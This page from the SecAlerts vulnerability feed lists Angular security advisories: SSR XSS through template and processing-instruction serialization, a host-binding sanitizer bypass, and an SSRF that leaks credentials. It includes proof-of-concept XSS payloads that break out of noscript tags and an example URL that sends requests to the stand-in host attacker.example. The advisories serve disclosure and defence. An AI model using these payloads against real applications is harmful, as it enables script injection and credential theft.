Where
-Infinity
0
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization when traversing ancestor tags across <template> element boundaries. When an application renders untrusted user input within raw-text tags (<xmp>, <style>, <script>), comments, or text nodes inside a <template> that is nested within a fallback raw-content element (<noscript>, <iframe>, <noembed>, <noframes>), matching closing tags (e.g., </noscript>) are not escaped during HTML serialization. When rendered in a browser, this unescaped closing tag prematurely terminates the fallback container and executes trailing markup as active DOM elements.

Technical Description In HTML5 parsing, fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>) place the browser's tokenizer into RAWTEXT mode. In this mode, inner content is parsed as literal text until an end tag matching the container tag name (e.g., </noscript>) is encountered.

To prevent XSS breakout vectors during SSR serialization, the DOM serializer inspects a node's ancestors to escape any matching fallback closing tags (</tag -> &lt;/tag). However: 1. Per DOM specifications, the children of a <template> element reside in a separate DocumentFragment (template.content), whose own parentNode is null. 2. The serializer's ancestor traversal previously only inspected element nodes. When traversing upward from a node inside template.content, traversal terminated immediately at the DocumentFragment boundary. 3. Because traversal stopped before reaching the outer document tree, enclosing fallback raw-content ancestors (such as <noscript> or <iframe>) were not discovered. As a result, closing sequences like </noscript> within <template> content were emitted unescaped.

Impact & Reachability Framework Guarantee Bypass: Angular guarantees that standard text interpolation ({{ userInput }} bound as element text content) is safe by default without manual sanitization. This vulnerability bypasses that guarantee during SSR HTML serialization when untrusted input is interpolated inside template content within fallback containers. Template Authoring: Writing literal <xmp> or <style> directly inside a component's <template> markup requires relaxed template schema checks (CUSTOMELEMENTSSCHEMA or NOERRORSSCHEMA). However, standard HTML comments and text nodes inside <template> within <noscript> are reachable without relaxed schemas. Imperative DOM Construction: Components or directives that construct DOM structures imperatively via Renderer2 bypass template compiler schema checks entirely and are unconditionally affected.

Proof of Concept (Minimal Reproduction) ts import { Component } from '@angular/core';

@Component({ selector: 'app-root', standalone: true, template: <noscript> <template> <xmp>{{ payload }}</xmp> </template> </noscript> }) export class AppComponent { // Attacker-controlled input bound via standard text interpolation payload = '</noscript><img src=x onerror=alert("SSRTEMPLATEXSS")>'; } Vulnerable SSR Output: html <noscript><template><xmp></noscript><img src=x onerror=alert("SSRTEMPLATEXSS")></xmp></template></noscript>

Workarounds Avoid rendering untrusted user input inside <template> elements nested within <noscript>, <iframe>, <noembed>, or <noframes> in server-rendered templates. Avoid programmatic DOM assembly of <template> elements inside fallback containers when handling untrusted data.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization of ProcessingInstruction DOM nodes (<?target data?>, nodeType === 7) when nested inside fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>). While processing instruction data escaped > to &gt;, it did not check for or escape matching closing tags of ancestor fallback elements (e.g., </noscript>). When rendered in a browser with scripting enabled, an unescaped closing tag sequence in a processing instruction prematurely closes the fallback raw-content tag and causes subsequent sibling elements to execute as live HTML.

Technical Description In HTML5 parsing, fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>) place the browser's HTML tokenizer into RAWTEXT mode. In RAWTEXT mode, processing instruction tokens (<?...?>) are treated as literal raw text rather than bogus comments, and the parser ignores > or ?>. The only token sequence that terminates the container is an end tag matching the container tag name (</noscript, </iframe, etc.).

During server-side HTML serialization, processing instruction nodes previously only replaced > with &gt; (preventing bogus comment breakouts in normal HTML data states) but left < untouched. Crucially, processing instruction serialization never inspected ancestor fallback raw-content tags. As a result, if a ProcessingInstruction node inside <noscript> contained </noscript in its data payload, it was emitted unescaped as <?x </noscript ?>.

Impact & Reachability Reachability: Processing instruction nodes cannot be authored directly through standard Angular template syntax (which parses <?...> into comment nodes in DOM position). Reaching this vulnerability requires application or library code calling inject(DOCUMENT).createProcessingInstruction(target, data) or Renderer2 DOM insertion methods with untrusted user input passed to data inside a fallback raw-content container. Impact: In applications that programmatically construct processing instruction nodes inside fallback elements during server-side rendering, an attacker controlling the processing instruction data can break out of the container and execute arbitrary JavaScript in victims' browsers.

Proof of Concept (Minimal Reproduction) ts import { Component, ElementRef, Renderer2, inject, DOCUMENT, AfterViewInit } from '@angular/core';

@Component({ selector: 'app-root', standalone: true, template: <noscript id="host"></noscript> }) export class AppComponent implements AfterViewInit { private r = inject(Renderer2); private el = inject(ElementRef); private doc = inject(DOCUMENT);

ngAfterViewInit() { const host = this.el.nativeElement.querySelector('#host'); // Attacker-controlled input passed as Processing Instruction data const pi = this.doc.createProcessingInstruction('x', '</noscript '); this.r.appendChild(host, pi); // Sibling markup that should remain inert inside <noscript> const img = this.r.createElement('img'); this.r.setAttribute(img, 'src', 'x'); this.r.setAttribute(img, 'onerror', 'alert("SSRPIXSS")'); this.r.appendChild(host, img); } } Vulnerable SSR Output: html <noscript><?x </noscript ?><img src="x" onerror="alert('SSRPIXSS')"></noscript>

Workarounds Avoid passing untrusted user input into document.createProcessingInstruction(target, data) when the node is inserted into <noscript>, <iframe>, <noembed>, or <noframes> during server-side rendering. Manually sanitize or replace < with &lt; in any untrusted data passed to processing instruction nodes on the server.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Angular automatically sanitizes untrusted values bound to security-sensitive DOM sinks (such as href, src, action, xlink:href, and data) to protect against Cross-Site Scripting (XSS).

Prior to the fix, the Angular compiler determined the SecurityContext for directive host bindings (host: {'[attr.href]': 'value'} or @HostBinding('attr.href')) based solely on the declaring directive or component selector at compile time, rather than the concrete host element that the directive was applied to.

When a directive with a security-sensitive host binding was applied to a different concrete host element—such as through: - hostDirectives composition, - Class inheritance of host bindings, - Dynamic component instantiation (createComponent with custom hostElement or dynamic directives), - Elements with SVG/MathML namespaces (e.g. <svg:a>, <math>), or - Elements using tag-neutral selectors (e.g. :not(...)),

the compiler either failed to associate a sanitizer with the host binding or attached an incorrect security context. As a result, untrusted inputs (e.g. javascript:... URLs) bound via the host binding would be written to the DOM attribute without passing through Angular's built-in sanitizer.

Impact An attacker capable of controlling the value bound to an affected directive host binding could execute arbitrary JavaScript in the user's browser context (Cross-Site Scripting).

Patches This issue has been resolved in versions: - 22.1.0 - 21.2.20 - 20.3.28

Workarounds Ensure that any user-controlled values assigned to properties bound via directive host bindings are explicitly sanitized using DomSanitizer.sanitize(SecurityContext.URL, ...) before assignment, or restrict the input to validated safe URL schemes (e.g. http://, https://).

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept: ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); }

// Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), });

// @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker.

Workarounds Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

1 / 2
Source: GitHub
First published (updated )
EOL
Jun 30, 2028
Support Ends
Jun 30, 2027

End of life: 6/30/2028, End of support: 6/30/2027, Latest version: 22.2.3

First published (updated )
EOL
Jun 30, 2027
Support Ends
Jun 3, 2026

End of life: 6/30/2027, End of support: 6/3/2026, Latest version: 21.2.25

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

A reflected cross-site scripting (XSS) vulnerability in CKeditor v46.1.0 & Angular v18.0.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload.

First published (updated )
EOL
Nov 28, 2026
Support Ends
Nov 19, 2025

End of life: 11/28/2026, End of support: 11/19/2025, Latest version: 20.3.34

First published (updated )
EOL
May 19, 2026
Support Ends
May 28, 2025

End of life: 5/19/2026, End of support: 5/28/2025, Latest version: 19.2.25

First published (updated )
EOL
May 19, 2026
Support Ends
May 28, 2025

End of life: 5/19/2026, End of support: 5/28/2025, Latest version: 19.2.25

First published (updated )
EOL
Nov 21, 2025
Support Ends
Nov 19, 2024

End of life: 11/21/2025, End of support: 11/19/2024, Latest version: 18.2.14

First published (updated )
EOL
Nov 21, 2025
Support Ends
Nov 19, 2024

End of life: 11/21/2025, End of support: 11/19/2024, Latest version: 18.2.14

First published (updated )
EOL
May 15, 2025
Support Ends
May 8, 2024

End of life: 5/15/2025, End of support: 5/8/2024, Latest version: 17.3.12

First published (updated )
EOL
May 15, 2025
Support Ends
May 8, 2024

End of life: 5/15/2025, End of support: 5/8/2024, Latest version: 17.3.12

First published (updated )
EOL
Nov 8, 2024
Support Ends
Nov 8, 2023

End of life: 11/8/2024, End of support: 11/8/2023, Latest version: 16.2.12

First published (updated )
EOL
Nov 8, 2024
Support Ends
Nov 8, 2023

End of life: 11/8/2024, End of support: 11/8/2023, Latest version: 16.2.12

First published (updated )
EOL
May 18, 2024
Support Ends
May 3, 2023

End of life: 5/18/2024, End of support: 5/3/2023, Latest version: 15.2.10

First published (updated )
EOL
May 18, 2024
Support Ends
May 3, 2023

End of life: 5/18/2024, End of support: 5/3/2023, Latest version: 15.2.10

First published (updated )
EOL
Nov 18, 2023
Support Ends
Nov 18, 2022

End of life: 11/18/2023, End of support: 11/18/2022, Latest version: 14.3.0

First published (updated )
EOL
Nov 18, 2023
Support Ends
Nov 18, 2022

End of life: 11/18/2023, End of support: 11/18/2022, Latest version: 14.3.0

First published (updated )
EOL
May 4, 2023
Support Ends
Jun 2, 2022

End of life: 5/4/2023, End of support: 6/2/2022, Latest version: 13.4.0

First published (updated )
EOL
May 4, 2023
Support Ends
Jun 2, 2022

End of life: 5/4/2023, End of support: 6/2/2022, Latest version: 13.4.0

First published (updated )
EOL
Nov 12, 2022
Support Ends
Nov 12, 2021

End of life: 11/12/2022, End of support: 11/12/2021, Latest version: 12.2.17

First published (updated )
EOL
Nov 12, 2022
Support Ends
Nov 12, 2021

End of life: 11/12/2022, End of support: 11/12/2021, Latest version: 12.2.17

First published (updated )
EOL
May 11, 2022
Support Ends
May 11, 2021

End of life: 5/11/2022, End of support: 5/11/2021, Latest version: 11.2.14

First published (updated )
EOL
May 11, 2022
Support Ends
May 11, 2021

End of life: 5/11/2022, End of support: 5/11/2021, Latest version: 11.2.14

First published (updated )
EOL
Dec 24, 2021
Support Ends
Dec 24, 2020

End of life: 12/24/2021, End of support: 12/24/2020, Latest version: 10.2.5

First published (updated )
EOL
Dec 24, 2021
Support Ends
Dec 24, 2020

End of life: 12/24/2021, End of support: 12/24/2020, Latest version: 10.2.5

First published (updated )
EOL
Aug 6, 2021
Support Ends
Aug 6, 2020

End of life: 8/6/2021, End of support: 8/6/2020, Latest version: 9.1.13

First published (updated )
EOL
Aug 6, 2021
Support Ends
Aug 6, 2020

End of life: 8/6/2021, End of support: 8/6/2020, Latest version: 9.1.13

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203